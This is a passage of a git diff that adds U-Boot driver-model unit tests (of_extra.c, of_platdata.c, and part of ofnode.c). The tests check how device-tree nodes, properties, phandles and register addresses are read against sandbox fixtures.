+
+ free(buffer);
+ }
+
+ ut_assertok(device_idx != SANDBOX_NVMXIP_DEVICES);
+
+ return CMD_RET_SUCCESS;
+}
+
+DM_TEST(dm_test_nvmxip, UT_TESTF_SCAN_FDT | UT_TESTF_CONSOLE_REC);
diff --git a/test/dm/of_extra.c b/test/dm/of_extra.c
new file mode 100644
index 00000000000..3c31bfcd31f
--- /dev/null
+++ b/test/dm/of_extra.c
@@ -0,0 +1,55 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright 2021 Google LLC
+ * Written by Simon Glass <sjg@chromium.org>
+ */
+
+#include <dm.h>
+#include <dm/of_extra.h>
+#include <dm/test.h>
+#include <test/ut.h>
+#include <u-boot/sha256.h>
+
+static int dm_test_ofnode_read_fmap_entry(struct unit_test_state *uts)
+{
+ const char hash_expect[] = {
+ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
+ 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
+ 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
+ 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f,
+ };
+ struct fmap_entry entry;
+ ofnode node;
+
+ node = ofnode_path("/cros-ec/flash/wp-ro");
+ ut_assertok(ofnode_read_fmap_entry(node, &entry));
+ ut_asserteq(0xf000, entry.offset);
+ ut_asserteq(0x1000, entry.length);
+ ut_asserteq(0x884, entry.used);
+ ut_asserteq(FMAP_COMPRESS_LZ4, entry.compress_algo);
+ ut_asserteq(0xcf8, entry.unc_length);
+ ut_asserteq(FMAP_HASH_SHA256, entry.hash_algo);
+ ut_asserteq(SHA256_SUM_LEN, entry.hash_size);
+ ut_asserteq_mem(hash_expect, entry.hash, SHA256_SUM_LEN);
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_read_fmap_entry, 0);
+
+static int dm_test_ofnode_phy_is_fixed_link(struct unit_test_state *uts)
+{
+ ofnode eth_node, phy_node, node;
+
+ eth_node = ofnode_path("/dsa-test/ports/port@0");
+ ut_assert(ofnode_phy_is_fixed_link(eth_node, &phy_node));
+ node = ofnode_path("/dsa-test/ports/port@0/fixed-link");
+ ut_asserteq_mem(&phy_node, &node, sizeof(ofnode));
+
+ eth_node = ofnode_path("/dsa-test/ports/port@1");
+ ut_assert(ofnode_phy_is_fixed_link(eth_node, &phy_node));
+ node = eth_node;
+ ut_asserteq_mem(&phy_node, &node, sizeof(ofnode));
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_phy_is_fixed_link, 0);
diff --git a/test/dm/of_platdata.c b/test/dm/of_platdata.c
new file mode 100644
index 00000000000..d4939e88516
--- /dev/null
+++ b/test/dm/of_platdata.c
@@ -0,0 +1,280 @@
+// SPDX-License-Identifier: GPL-2.0+
+
+#include <clk.h>
+#include <dm.h>
+#include <dt-structs.h>
+#include <irq.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+#include <asm-generic/gpio.h>
+#include <asm/global_data.h>
+
+/* Test that we can find a device using of-platdata */
+static int dm_test_of_plat_base(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ ut_assertok(uclass_first_device_err(UCLASS_SERIAL, &dev));
+ ut_asserteq_str("sandbox_serial", dev->name);
+
+ return 0;
+}
+DM_TEST(dm_test_of_plat_base, UT_TESTF_SCAN_PDATA);
+
+/* Test that we can read properties from a device */
+static int dm_test_of_plat_props(struct unit_test_state *uts)
+{
+ struct dtd_sandbox_spl_test *plat;
+ struct udevice *dev;
+ int i;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_MISC, "sandbox_spl_test",
+ &dev));
+
+ plat = dev_get_plat(dev);
+ ut_assert(plat->boolval);
+ ut_asserteq(1, plat->intval);
+ ut_asserteq(3, ARRAY_SIZE(plat->intarray));
+ ut_asserteq(2, plat->intarray[0]);
+ ut_asserteq(3, plat->intarray[1]);
+ ut_asserteq(4, plat->intarray[2]);
+ ut_asserteq(5, plat->byteval);
+ ut_asserteq(1, ARRAY_SIZE(plat->maybe_empty_int));
+ ut_asserteq(0, plat->maybe_empty_int[0]);
+ ut_asserteq(3, ARRAY_SIZE(plat->bytearray));
+ ut_asserteq(6, plat->bytearray[0]);
+ ut_asserteq(0, plat->bytearray[1]);
+ ut_asserteq(0, plat->bytearray[2]);
+ ut_asserteq(9, ARRAY_SIZE(plat->longbytearray));
+ for (i = 0; i < ARRAY_SIZE(plat->longbytearray); i++)
+ ut_asserteq(9 + i, plat->longbytearray[i]);
+ ut_asserteq_str("message", plat->stringval);
+ ut_asserteq(3, ARRAY_SIZE(plat->stringarray));
+ ut_asserteq_str("multi-word", plat->stringarray[0]);
+ ut_asserteq_str("message", plat->stringarray[1]);
+ ut_asserteq_str("", plat->stringarray[2]);
+
+ ut_assertok(uclass_next_device_err(&dev));
+ plat = dev_get_plat(dev);
+ ut_assert(!plat->boolval);
+ ut_asserteq(3, plat->intval);
+ ut_asserteq(5, plat->intarray[0]);
+ ut_asserteq(0, plat->intarray[1]);
+ ut_asserteq(0, plat->intarray[2]);
+ ut_asserteq(8, plat->byteval);
+ ut_asserteq(3, ARRAY_SIZE(plat->bytearray));
+ ut_asserteq(1, plat->bytearray[0]);
+ ut_asserteq(0x23, plat->bytearray[1]);
+ ut_asserteq(0x34, plat->bytearray[2]);
+ for (i = 0; i < ARRAY_SIZE(plat->longbytearray); i++)
+ ut_asserteq(i < 4 ? 9 + i : 0, plat->longbytearray[i]);
+ ut_asserteq_str("message2", plat->stringval);
+ ut_asserteq_str("another", plat->stringarray[0]);
+ ut_asserteq_str("multi-word", plat->stringarray[1]);
+ ut_asserteq_str("message", plat->stringarray[2]);
+
+ ut_assertok(uclass_next_device_err(&dev));
+ plat = dev_get_plat(dev);
+ ut_assert(!plat->boolval);
+ ut_asserteq_str("one", plat->stringarray[0]);
+ ut_asserteq_str("", plat->stringarray[1]);
+ ut_asserteq_str("", plat->stringarray[2]);
+ ut_asserteq(1, plat->maybe_empty_int[0]);
+
+ ut_assertok(uclass_next_device_err(&dev));
+ plat = dev_get_plat(dev);
+ ut_assert(!plat->boolval);
+ ut_asserteq_str("spl", plat->stringarray[0]);
+
+ ut_asserteq(-ENODEV, uclass_next_device_err(&dev));
+
+ return 0;
+}
+DM_TEST(dm_test_of_plat_props, UT_TESTF_SCAN_PDATA);
+
+/*
+ * find_driver_info - recursively find the driver_info for a device
+ *
+ * This sets found[idx] to true when it finds the driver_info record for a
+ * device, where idx is the index in the driver_info linker list.
+ *
+ * @uts: Test state
+ * @parent: Parent to search
+ * @found: bool array to update
+ * Return: 0 if OK, non-zero on error
+ */
+static int find_driver_info(struct unit_test_state *uts, struct udevice *parent,
+ bool found[])
+{
+ struct udevice *dev;
+
+ /* If not the root device, find the entry that caused it to be bound */
+ if (parent->parent) {
+ const int n_ents =
+ ll_entry_count(struct driver_info, driver_info);
+ int idx = -1;
+ int i;
+
+ for (i = 0; i < n_ents; i++) {
+ const struct driver_rt *drt = gd_dm_driver_rt() + i;
+
+ if (drt->dev == parent) {
+ idx = i;
+ found[idx] = true;
+ break;
+ }
+ }
+
+ ut_assert(idx != -1);
+ }
+
+ device_foreach_child(dev, parent) {
+ int ret;
+
+ ret = find_driver_info(uts, dev, found);
+ if (ret < 0)
+ return ret;
+ }
+
+ return 0;
+}
+
+/* Check that every device is recorded in its driver_info struct */
+static int dm_test_of_plat_dev(struct unit_test_state *uts)
+{
+ const int n_ents = ll_entry_count(struct driver_info, driver_info);
+ bool found[n_ents];
+ uint i;
+
+ /* Skip this test if there is no platform data */
+ if (!CONFIG_IS_ENABLED(OF_PLATDATA_DRIVER_RT))
+ return -EAGAIN;
+
+ /* Record the indexes that are found */
+ memset(found, '\0', sizeof(found));
+ ut_assertok(find_driver_info(uts, gd->dm_root, found));
+
+ /* Make sure that the driver entries without devices have no ->dev */
+ for (i = 0; i < n_ents; i++) {
+ const struct driver_rt *drt = gd_dm_driver_rt() + i;
+ struct udevice *dev;
+
+ if (found[i]) {
+ /* Make sure we can find it */
+ ut_assertnonnull(drt->dev);
+ ut_assertok(device_get_by_ofplat_idx(i, &dev));
+ ut_asserteq_ptr(dev, drt->dev);
+ } else {
+ ut_assertnull(drt->dev);
+ ut_asserteq(-ENOENT, device_get_by_ofplat_idx(i, &dev));
+ }
+ }
+
+ return 0;
+}
+DM_TEST(dm_test_of_plat_dev, UT_TESTF_SCAN_PDATA);
+
+/* Test handling of phandles that point to other devices */
+static int dm_test_of_plat_phandle(struct unit_test_state *uts)
+{
+ struct dtd_sandbox_clk_test *plat;
+ struct udevice *dev, *clk;
+
+ ut_assertok(uclass_first_device_err(UCLASS_MISC, &dev));
+ ut_asserteq_str("sandbox_clk_test", dev->name);
+ plat = dev_get_plat(dev);
+
+ ut_assertok(device_get_by_ofplat_idx(plat->clocks[0].idx, &clk));
+ ut_asserteq_str("sandbox_fixed_clock", clk->name);
+
+ ut_assertok(device_get_by_ofplat_idx(plat->clocks[1].idx, &clk));
+ ut_asserteq_str("sandbox_clk", clk->name);
+ ut_asserteq(1, plat->clocks[1].arg[0]);
+
+ ut_assertok(device_get_by_ofplat_idx(plat->clocks[2].idx, &clk));
+ ut_asserteq_str("sandbox_clk", clk->name);
+ ut_asserteq(0, plat->clocks[2].arg[0]);
+
+ ut_assertok(device_get_by_ofplat_idx(plat->clocks[3].idx, &clk));
+ ut_asserteq_str("sandbox_clk", clk->name);
+ ut_asserteq(3, plat->clocks[3].arg[0]);
+
+ ut_assertok(device_get_by_ofplat_idx(plat->clocks[4].idx, &clk));
+ ut_asserteq_str("sandbox_clk", clk->name);
+ ut_asserteq(2, plat->clocks[4].arg[0]);
+
+ return 0;
+}
+DM_TEST(dm_test_of_plat_phandle, UT_TESTF_SCAN_PDATA);
+
+#if CONFIG_IS_ENABLED(OF_PLATDATA_PARENT)
+/* Test that device parents are correctly set up */
+static int dm_test_of_plat_parent(struct unit_test_state *uts)
+{
+ struct udevice *rtc, *i2c;
+
+ ut_assertok(uclass_first_device_err(UCLASS_RTC, &rtc));
+ ut_assertok(uclass_first_device_err(UCLASS_I2C, &i2c));
+ ut_asserteq_ptr(i2c, dev_get_parent(rtc));
+
+ return 0;
+}
+DM_TEST(dm_test_of_plat_parent, UT_TESTF_SCAN_PDATA);
+#endif
+
+/* Test clocks with of-platdata */
+static int dm_test_of_plat_clk(struct unit_test_state *uts)
+{
+ struct dtd_sandbox_clk_test *plat;
+ struct udevice *dev;
+ struct clk clk;
+
+ ut_assertok(uclass_first_device_err(UCLASS_MISC, &dev));
+ ut_asserteq_str("sandbox_clk_test", dev->name);
+ plat = dev_get_plat(dev);
+
+ ut_assertok(clk_get_by_phandle(dev, &plat->clocks[0], &clk));
+ ut_asserteq_str("sandbox_fixed_clock", clk.dev->name);
+
+ return 0;
+}
+DM_TEST(dm_test_of_plat_clk, UT_TESTF_SCAN_PDATA);
+
+/* Test irqs with of-platdata */
+static int dm_test_of_plat_irq(struct unit_test_state *uts)
+{
+ struct dtd_sandbox_irq_test *plat;
+ struct udevice *dev;
+ struct irq irq;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_MISC, "sandbox_irq_test",
+ &dev));
+ plat = dev_get_plat(dev);
+
+ ut_assertok(irq_get_by_phandle(dev, &plat->interrupts_extended[0],
+ &irq));
+ ut_asserteq_str("sandbox_irq", irq.dev->name);
+
+ return 0;
+}
+DM_TEST(dm_test_of_plat_irq, UT_TESTF_SCAN_PDATA);
+
+/* Test GPIOs with of-platdata */
+static int dm_test_of_plat_gpio(struct unit_test_state *uts)
+{
+ struct dtd_sandbox_gpio_test *plat;
+ struct udevice *dev;
+ struct gpio_desc desc;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_MISC, "sandbox_gpio_test",
+ &dev));
+ plat = dev_get_plat(dev);
+
+ ut_assertok(gpio_request_by_phandle(dev, &plat->test_gpios[0], &desc,
+ GPIOD_IS_OUT));
+ ut_asserteq_str("sandbox_gpio", desc.dev->name);
+
+ return 0;
+}
+DM_TEST(dm_test_of_plat_gpio, UT_TESTF_SCAN_PDATA);
diff --git a/test/dm/ofnode.c b/test/dm/ofnode.c
new file mode 100644
index 00000000000..39191d7f52b
--- /dev/null
+++ b/test/dm/ofnode.c
@@ -0,0 +1,1523 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright 2022 Google LLC
+ *
+ * There are two types of tests in this file:
+ * - normal ones which act on the control FDT (gd->fdt_blob or gd->of_root)
+ * - 'other' ones which act on the 'other' FDT (other.dts)
+ *
+ * The 'other' ones have an _ot suffix.
+ *
+ * The latter are used to check behaviour with multiple device trees,
+ * particularly with flat tree, where a tree ID is included in ofnode as part of
+ * the node offset. These tests are typically just for making sure that the
+ * offset makes it to libfdt correctly and that the resulting return value is
+ * correctly turned into an ofnode. The 'other' tests do not fully check the
+ * behaviour of each ofnode function, since that is done by the normal ones.
+ */
+
+#include <abuf.h>
+#include <dm.h>
+#include <log.h>
+#include <of_live.h>
+#include <dm/device-internal.h>
+#include <dm/lists.h>
+#include <dm/of_extra.h>
+#include <dm/root.h>
+#include <dm/test.h>
+#include <dm/uclass-internal.h>
+#include <linux/sizes.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/**
+ * get_other_oftree() - Convert a flat tree into an oftree object
+ *
+ * @uts: Test state
+ * @return: oftree object for the 'other' FDT (see sandbox' other.dts)
+ */
+oftree get_other_oftree(struct unit_test_state *uts)
+{
+ oftree tree;
+
+ if (of_live_active())
+ tree = oftree_from_np(uts->of_other);
+ else
+ tree = oftree_from_fdt(uts->other_fdt);
+
+ /* An invalid tree may cause failure or crashes */
+ if (!oftree_valid(tree))
+ ut_reportf("test needs the UT_TESTF_OTHER_FDT flag");
+
+ return tree;
+}
+
+/**
+ * get_oftree() - Convert a flat tree into an oftree object
+ *
+ * @uts: Test state
+ * @fdt: Pointer to flat tree
+ * @treep: Returns the tree, on success
+ * Return: 0 if OK, 1 if the tree failed to unflatten, -EOVERFLOW if there are
+ * too many flat trees to allow another one to be registers (see
+ * oftree_ensure())
+ */
+int get_oftree(struct unit_test_state *uts, void *fdt, oftree *treep)
+{
+ oftree tree;
+
+ if (of_live_active()) {
+ struct device_node *root;
+
+ ut_assertok(unflatten_device_tree(fdt, &root));
+ tree = oftree_from_np(root);
+ } else {
+ tree = oftree_from_fdt(fdt);
+ if (!oftree_valid(tree))
+ return -EOVERFLOW;
+ }
+ *treep = tree;
+
+ return 0;
+}
+
+/**
+ * free_oftree() - Free memory used by get_oftree()
+ *
+ * @tree: Tree to free
+ */
+void free_oftree(oftree tree)
+{
+ if (of_live_active())
+ free(tree.np);
+}
+
+/* test ofnode_device_is_compatible() */
+static int dm_test_ofnode_compatible(struct unit_test_state *uts)
+{
+ ofnode root_node = ofnode_path("/");
+
+ ut_assert(ofnode_valid(root_node));
+ ut_assert(ofnode_device_is_compatible(root_node, "sandbox"));
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_compatible,
+ UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* check ofnode_device_is_compatible() with the 'other' FDT */
+static int dm_test_ofnode_compatible_ot(struct unit_test_state *uts)
+{
+ oftree otree = get_other_oftree(uts);
+ ofnode oroot = oftree_root(otree);
+
+ ut_assert(ofnode_valid(oroot));
+ ut_assert(ofnode_device_is_compatible(oroot, "sandbox-other"));
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_compatible_ot, UT_TESTF_SCAN_FDT | UT_TESTF_OTHER_FDT);
+
+static int dm_test_ofnode_get_by_phandle(struct unit_test_state *uts)
+{
+ /* test invalid phandle */
+ ut_assert(!ofnode_valid(ofnode_get_by_phandle(0)));
+ ut_assert(!ofnode_valid(ofnode_get_by_phandle(-1)));
+
+ /* test first valid phandle */
+ ut_assert(ofnode_valid(ofnode_get_by_phandle(1)));
+
+ /* test unknown phandle */
+ ut_assert(!ofnode_valid(ofnode_get_by_phandle(0x1000000)));
+
+ ut_assert(ofnode_valid(oftree_get_by_phandle(oftree_default(), 1)));
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_get_by_phandle, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* test oftree_get_by_phandle() with a the 'other' oftree */
+static int dm_test_ofnode_get_by_phandle_ot(struct unit_test_state *uts)
+{
+ oftree otree = get_other_oftree(uts);
+ ofnode node;
+
+ ut_assert(ofnode_valid(oftree_get_by_phandle(oftree_default(), 1)));
+ node = oftree_get_by_phandle(otree, 1);
+ ut_assert(ofnode_valid(node));
+ ut_asserteq_str("target", ofnode_get_name(node));
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_get_by_phandle_ot,
+ UT_TESTF_SCAN_FDT | UT_TESTF_OTHER_FDT);
+
+static int check_prop_values(struct unit_test_state *uts, ofnode start,
+ const char *propname, const char *propval,
+ int expect_count)
+{
+ int proplen = strlen(propval) + 1;
+ const char *str;
+ ofnode node;
+ int count;
+
+ /* Find first matching node, there should be at least one */
+ node = ofnode_by_prop_value(start, propname, propval, proplen);
+ ut_assert(ofnode_valid(node));
+ str = ofnode_read_string(node, propname);
+ ut_assert(str && !strcmp(str, propval));
+
+ /* Find the rest of the matching nodes */
+ count = 1;
+ while (true) {
+ node = ofnode_by_prop_value(node, propname, propval, proplen);
+ if (!ofnode_valid(node))
+ break;
+ str = ofnode_read_string(node, propname);
+ ut_asserteq_str(propval, str);
+ count++;
+ }
+ ut_asserteq(expect_count, count);
+
+ return 0;
+}
+
+static int dm_test_ofnode_by_prop_value(struct unit_test_state *uts)
+{
+ ut_assertok(check_prop_values(uts, ofnode_null(), "compatible",
+ "denx,u-boot-fdt-test", 11));
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_by_prop_value, UT_TESTF_SCAN_FDT);
+
+/* test ofnode_by_prop_value() with a the 'other' oftree */
+static int dm_test_ofnode_by_prop_value_ot(struct unit_test_state *uts)
+{
+ oftree otree = get_other_oftree(uts);
+
+ ut_assertok(check_prop_values(uts, oftree_root(otree), "str-prop",
+ "other", 2));
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_by_prop_value_ot,
+ UT_TESTF_SCAN_FDT | UT_TESTF_OTHER_FDT);
+
+/* test ofnode_read_fmap_entry() */
+static int dm_test_ofnode_fmap(struct unit_test_state *uts)
+{
+ struct fmap_entry entry;
+ ofnode node;
+
+ node = ofnode_path("/cros-ec/flash");
+ ut_assert(ofnode_valid(node));
+ ut_assertok(ofnode_read_fmap_entry(node, &entry));
+ ut_asserteq(0x08000000, entry.offset);
+ ut_asserteq(0x20000, entry.length);
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_fmap, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* test ofnode_read_prop() */
+static int dm_test_ofnode_read(struct unit_test_state *uts)
+{
+ const u32 *val;
+ ofnode node;
+ int size;
+
+ node = oftree_path(oftree_default(), "/");
+ ut_assert(ofnode_valid(node));
+
+ node = ofnode_path("/a-test");
+ ut_assert(ofnode_valid(node));
+
+ val = ofnode_read_prop(node, "int-value", &size);
+ ut_assertnonnull(val);
+ ut_asserteq(4, size);
+ ut_asserteq(1234, fdt32_to_cpu(val[0]));
+
+ val = ofnode_read_prop(node, "missing", &size);
+ ut_assertnull(val);
+ ut_asserteq(-FDT_ERR_NOTFOUND, size);
+
+ /* Check it works without a size parameter */
+ val = ofnode_read_prop(node, "missing", NULL);
+ ut_assertnull(val);
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_read, UT_TESTF_SCAN_FDT);
+
+/* test ofnode_read_prop() with the 'other' tree */
+static int dm_test_ofnode_read_ot(struct unit_test_state *uts)
+{
+ oftree otree = get_other_oftree(uts);
+ const char *val;
+ ofnode node;
+ int size;
+
+ node = oftree_path(otree, "/");
+ ut_assert(ofnode_valid(node));
+
+ node = oftree_path(otree, "/node/subnode");
+ ut_assert(ofnode_valid(node));
+
+ val = ofnode_read_prop(node, "str-prop", &size);
+ ut_assertnonnull(val);
+ ut_asserteq_str("other", val);
+ ut_asserteq(6, size);
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_read_ot, UT_TESTF_SCAN_FDT | UT_TESTF_OTHER_FDT);
+
+/* test ofnode_count_/parse_phandle_with_args() */
+static int dm_test_ofnode_phandle(struct unit_test_state *uts)
+{
+ struct ofnode_phandle_args args;
+ ofnode node;
+ int ret;
+ const char prop[] = "test-gpios";
+ const char cell[] = "#gpio-cells";
+ const char prop2[] = "phandle-value";
+
+ node = ofnode_path("/a-test");
+ ut_assert(ofnode_valid(node));
+
+ /* Test ofnode_count_phandle_with_args with cell name */
+ ret = ofnode_count_phandle_with_args(node, "missing", cell, 0);
+ ut_asserteq(-ENOENT, ret);
+ ret = ofnode_count_phandle_with_args(node, prop, "#invalid", 0);
+ ut_asserteq(-EINVAL, ret);
+ ret = ofnode_count_phandle_with_args(node, prop, cell, 0);
+ ut_asserteq(5, ret);
+
+ /* Test ofnode_parse_phandle_with_args with cell name */
+ ret = ofnode_parse_phandle_with_args(node, "missing", cell, 0, 0,
+ &args);
+ ut_asserteq(-ENOENT, ret);
+ ret = ofnode_parse_phandle_with_args(node, prop, "#invalid", 0, 0,
+ &args);
+ ut_asserteq(-EINVAL, ret);
+ ret = ofnode_parse_phandle_with_args(node, prop, cell, 0, 0, &args);
+ ut_assertok(ret);
+ ut_asserteq(1, args.args_count);
+ ut_asserteq(1, args.args[0]);
+ ret = ofnode_parse_phandle_with_args(node, prop, cell, 0, 1, &args);
+ ut_assertok(ret);
+ ut_asserteq(1, args.args_count);
+ ut_asserteq(4, args.args[0]);
+ ret = ofnode_parse_phandle_with_args(node, prop, cell, 0, 2, &args);
+ ut_assertok(ret);
+ ut_asserteq(5, args.args_count);
+ ut_asserteq(5, args.args[0]);
+ ut_asserteq(1, args.args[4]);
+ ret = ofnode_parse_phandle_with_args(node, prop, cell, 0, 3, &args);
+ ut_asserteq(-ENOENT, ret);
+ ret = ofnode_parse_phandle_with_args(node, prop, cell, 0, 4, &args);
+ ut_assertok(ret);
+ ut_asserteq(1, args.args_count);
+ ut_asserteq(12, args.args[0]);
+ ret = ofnode_parse_phandle_with_args(node, prop, cell, 0, 5, &args);
+ ut_asserteq(-ENOENT, ret);
+
+ /* Test ofnode_count_phandle_with_args with cell count */
+ ret = ofnode_count_phandle_with_args(node, "missing", NULL, 2);
+ ut_asserteq(-ENOENT, ret);
+ ret = ofnode_count_phandle_with_args(node, prop2, NULL, 1);
+ ut_asserteq(3, ret);
+
+ /* Test ofnode_parse_phandle_with_args with cell count */
+ ret = ofnode_parse_phandle_with_args(node, prop2, NULL, 1, 0, &args);
+ ut_assertok(ret);
+ ut_asserteq(1, ofnode_valid(args.node));
+ ut_asserteq(1, args.args_count);
+ ut_asserteq(10, args.args[0]);
+ ret = ofnode_parse_phandle_with_args(node, prop2, NULL, 1, 1, &args);
+ ut_asserteq(-EINVAL, ret);
+ ret = ofnode_parse_phandle_with_args(node, prop2, NULL, 1, 2, &args);
+ ut_assertok(ret);
+ ut_asserteq(1, ofnode_valid(args.node));
+ ut_asserteq(1, args.args_count);
+ ut_asserteq(30, args.args[0]);
+ ret = ofnode_parse_phandle_with_args(node, prop2, NULL, 1, 3, &args);
+ ut_asserteq(-ENOENT, ret);
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_phandle, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* test ofnode_count_/parse_phandle_with_args() with 'other' tree */
+static int dm_test_ofnode_phandle_ot(struct unit_test_state *uts)
+{
+ oftree otree = get_other_oftree(uts);
+ struct ofnode_phandle_args args;
+ ofnode node;
+ int ret;
+
+ node = oftree_path(otree, "/node");
+
+ /* Test ofnode_count_phandle_with_args with cell name */
+ ret = ofnode_count_phandle_with_args(node, "missing", "#gpio-cells", 0);
+ ut_asserteq(-ENOENT, ret);
+ ret = ofnode_count_phandle_with_args(node, "target", "#invalid", 0);
+ ut_asserteq(-EINVAL, ret);
+ ret = ofnode_count_phandle_with_args(node, "target", "#gpio-cells", 0);
+ ut_asserteq(1, ret);
+
+ ret = ofnode_parse_phandle_with_args(node, "target", "#gpio-cells", 0,
+ 0, &args);
+ ut_assertok(ret);
+ ut_asserteq(2, args.args_count);
+ ut_asserteq(3, args.args[0]);
+ ut_asserteq(4, args.args[1]);
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_phandle_ot, UT_TESTF_OTHER_FDT);
+
+/* test ofnode_read_chosen_string/node/prop() */
+static int dm_test_ofnode_read_chosen(struct unit_test_state *uts)
+{
+ const char *str;
+ const u32 *val;
+ ofnode node;
+ int size;
+
+ str = ofnode_read_chosen_string("setting");
+ ut_assertnonnull(str);
+ ut_asserteq_str("sunrise ohoka", str);
+ ut_asserteq_ptr(NULL, ofnode_read_chosen_string("no-setting"));
+
+ node = ofnode_get_chosen_node("other-node");
+ ut_assert(ofnode_valid(node));
+ ut_asserteq_str("c-test@5", ofnode_get_name(node));
+
+ node = ofnode_get_chosen_node("setting");
+ ut_assert(!ofnode_valid(node));
+
+ val = ofnode_read_chosen_prop("int-values", &size);
+ ut_assertnonnull(val);
+ ut_asserteq(8, size);
+ ut_asserteq(0x1937, fdt32_to_cpu(val[0]));
+ ut_asserteq(72993, fdt32_to_cpu(val[1]));
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_read_chosen, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* test ofnode_get_aliases_node/prop() */
+static int dm_test_ofnode_read_aliases(struct unit_test_state *uts)
+{
+ const void *val;
+ ofnode node;
+ int size;
+
+ node = ofnode_get_aliases_node("ethernet3");
+ ut_assert(ofnode_valid(node));
+ ut_asserteq_str("sbe5", ofnode_get_name(node));
+
+ node = ofnode_get_aliases_node("unknown");
+ ut_assert(!ofnode_valid(node));
+
+ val = ofnode_read_aliases_prop("spi0", &size);
+ ut_assertnonnull(val);
+ ut_asserteq(7, size);
+ ut_asserteq_str("/spi@0", (const char *)val);
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_read_aliases, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_ofnode_get_child_count(struct unit_test_state *uts)
+{
+ ofnode node, child_node;
+ u32 val;
+
+ node = ofnode_path("/i-test");
+ ut_assert(ofnode_valid(node));
+
+ val = ofnode_get_child_count(node);
+ ut_asserteq(3, val);
+
+ child_node = ofnode_first_subnode(node);
+ ut_assert(ofnode_valid(child_node));
+ val = ofnode_get_child_count(child_node);
+ ut_asserteq(0, val);
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_get_child_count,
+ UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* test ofnode_get_child_count() with 'other' tree */
+static int dm_test_ofnode_get_child_count_ot(struct unit_test_state *uts)
+{
+ oftree otree = get_other_oftree(uts);
+ ofnode node, child_node;
+ u32 val;
+
+ node = oftree_path(otree, "/node");
+ ut_assert(ofnode_valid(node));
+
+ val = ofnode_get_child_count(node);
+ ut_asserteq(2, val);
+
+ child_node = ofnode_first_subnode(node);
+ ut_assert(ofnode_valid(child_node));
+ val = ofnode_get_child_count(child_node);
+ ut_asserteq(0, val);
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_get_child_count_ot,
+ UT_TESTF_SCAN_FDT | UT_TESTF_OTHER_FDT);
+
+static int dm_test_ofnode_is_enabled(struct unit_test_state *uts)
+{
+ ofnode root_node = ofnode_path("/");
+ ofnode node = ofnode_path("/usb@0");
+
+ ut_assert(ofnode_is_enabled(root_node));
+ ut_assert(!ofnode_is_enabled(node));
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_is_enabled, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* test ofnode_is_enabled() with 'other' tree */
+static int dm_test_ofnode_is_enabled_ot(struct unit_test_state *uts)
+{
+ oftree otree = get_other_oftree(uts);
+ ofnode root_node = oftree_root(otree);
+ ofnode node = oftree_path(otree, "/target");
+
+ ut_assert(ofnode_is_enabled(root_node));
+ ut_assert(!ofnode_is_enabled(node));
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_is_enabled_ot, UT_TESTF_OTHER_FDT);
+
+/* test ofnode_get_addr/size() */
+static int dm_test_ofnode_get_reg(struct unit_test_state *uts)
+{
+ ofnode node;
+ fdt_addr_t addr;
+ fdt_size_t size;
+
+ node = ofnode_path("/translation-test@8000");
+ ut_assert(ofnode_valid(node));
+ addr = ofnode_get_addr(node);
+ size = ofnode_get_size(node);
+ ut_asserteq(0x8000, addr);
+ ut_asserteq(0x4000, size);
+
+ node = ofnode_path("/translation-test@8000/dev@1,100");
+ ut_assert(ofnode_valid(node));
+ addr = ofnode_get_addr(node);
+ size = ofnode_get_size(node);
+ ut_asserteq(0x9000, addr);
+ ut_asserteq(0x1000, size);
+
+ node = ofnode_path("/emul-mux-controller");
+ ut_assert(ofnode_valid(node));
+ addr = ofnode_get_addr(node);
+ size = ofnode_get_size(node);
+ ut_asserteq_64(FDT_ADDR_T_NONE, addr);
+ ut_asserteq(FDT_SIZE_T_NONE, size);
+
+ node = ofnode_path("/translation-test@8000/noxlatebus@3,300/dev@42");
+ ut_assert(ofnode_valid(node));
+ addr = ofnode_get_addr_size_index_notrans(node, 0, &size);
+ ut_asserteq_64(0x42, addr);
+
+ return 0;
+}
+DM_TEST(dm_test_ofnode_get_reg, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* test ofnode_get_addr() with 'other' tree */
+static int dm_test_ofnode_get_reg_ot(struct unit_test_state *uts)
+{
+ oftree otree = get_other_oftree(uts);
